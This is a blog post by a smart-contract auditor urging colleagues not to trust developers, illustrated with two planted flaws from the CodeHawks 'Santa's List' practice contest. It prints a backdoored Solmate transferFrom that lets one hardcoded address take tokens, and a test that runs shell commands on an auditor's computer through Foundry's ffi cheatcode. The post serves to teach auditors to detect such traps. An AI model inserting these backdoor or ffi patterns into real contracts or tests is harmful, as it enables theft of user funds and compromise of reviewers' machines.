Smart Contract Auditors must never trust in developers.

picture from seanheritage.com

Contact me for learning paths, advice and real-world challenges by email at aitor.zaldua@draftdigital.xyz or in X as @azdraft_.

What a month for Web3 auditors and security researchers. It is impossible to summarise all the information in just one paragraph.

Did you know that in November we had 13 competitions between code4rena, sherlock, codehawks, hats and cantina? Now you know.

And the total amount of prizes? Guess how much. Higher. Higher. OK, very close. Around $1 million.

But not only that. Until this month, the only reliable source for learning web3 security was the @RealJohnnyTime Smart Contract Hacking course. But now we have 2 more options! @0xOwenThurm and updraft by cyfrin just joined the party.

Do I already look like an old washing machine salesman? Okay, mate, hold on because we have another offer for you! CodeHawks First Flight! A security competition using protocols created by the cyfrin team, but specifically designed to practice our skills. No money involved, but you can earn XP and climb the leaderboard to show companies and protocol teams how good you are at security.

But at this point you are probably confused. Ok, thanks for the information, but what has all this stuff got to do with “trust in the developer”? Have you lost your mind?

Again?

Of course it is related, my impatient friend, because this is a lesson I remembered from the last First Flight competition: The Santa’s List.

What is an audit for?

One of the most widely used mantras in business is ‘build trust with your customer’. This is obviously a 2-way street. The customer trusts the provider and the provider trusts the customer. Very simple. Exactly, that’s how you usually keep your customers.

But being an auditor is more complicated than that. Because your job is to look for your client’s mistakes, and sometimes that is uncomfortable. You have to be very polite and create really well explained documents to keep the atmosphere fresh and clean.

And now is the time when things are going to get even more complicated. In web3, the code is not really code, it is smart contracts. That is, contracts that are smart enough to work autonomously.

And if in traditional finance the contracts have small print, in DEFi the contracts could hide backdoors implemented by the developers to steal users’ money.

Let’s finally see 2 examples hidden in the CodeHawks FirstFlight Santa’s list.

Manipulated Library

As auditors, especially in contests, we are usually hired to check the developers’ code and the libraries are out of scope as they are supposed to be already audited by the respective companies, such as Open Zeppelin or Solmate.

But what happens if the malicious developer simply modifies the library? Look at this example of a manipulated Solmate ERC20.sol in the Santa’s List protocol:

function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
    // hehehe :)
    // https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d
    if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
       balanceOf[from] -= amount;
        unchecked {
            balanceOf[to] += amount;
         
        emit Transfer(from, to, amount);
        return true;
      }

In this case, someone with the indicated address could steal all the tokens without the owner’s permission.

Consider the following scenario. A malicious developer builds a Uniswap-like protocol and gives it to us to audit. We trust that it is trustworthy and only review the code he/she has developed and sign the audit.
Months later, he steals all the tokens from the protocol and runs off to the Bahamas to live la vida loca, and our name is associated with a protocol hacked by a malicious library. Great.

You can see my report of the vulnerability here.

Manipulated Test

The second is really interesting because, as auditors, our computers could be an attractive target for malicious hackers.

Consider the following scenario. A malicious team of developers put a protocol to audit in Codehawks and no one notices that there is a malicious test that executes code in our computer, thanks to the Foreign Function Interface (ffi) utility. For example, check the SantasListTest.t.sol

function testPwned() public {
    string[] memory cmds = new string[](2);
    cmds[0] = "touch";
    cmds[1] = string.concat("youve-been-pwned");
    cheatCodes.ffi(cmds);
}

And suddenly the hacker has control of the computers of hundreds of auditors. They can check our work, which protocols we audit, which vulnerabilities we know or ignore…

In the example, the test simply performs a touch to create a file in our computer. You can see my report of the vulnerability here.

Conclusion

Always remember, don’t trust, verify. This is why we were hired in the first place. Every development team should have an auditor to help the team keep the code secure. Blockchain technology was built to replace the current financial system, and without security, this goal will never happen.

Not just developer teams, but also investor teams, banks and financial institutions. Smart contracts are contracts, after all, and web3 security auditors are also web3 lawyers. We have to protect our customer’s investments and guarantee them that the contracts behind a protocol are secure.

There is a lot of positions out there to take. Is up to us. Smart contracts verified by smart auditors.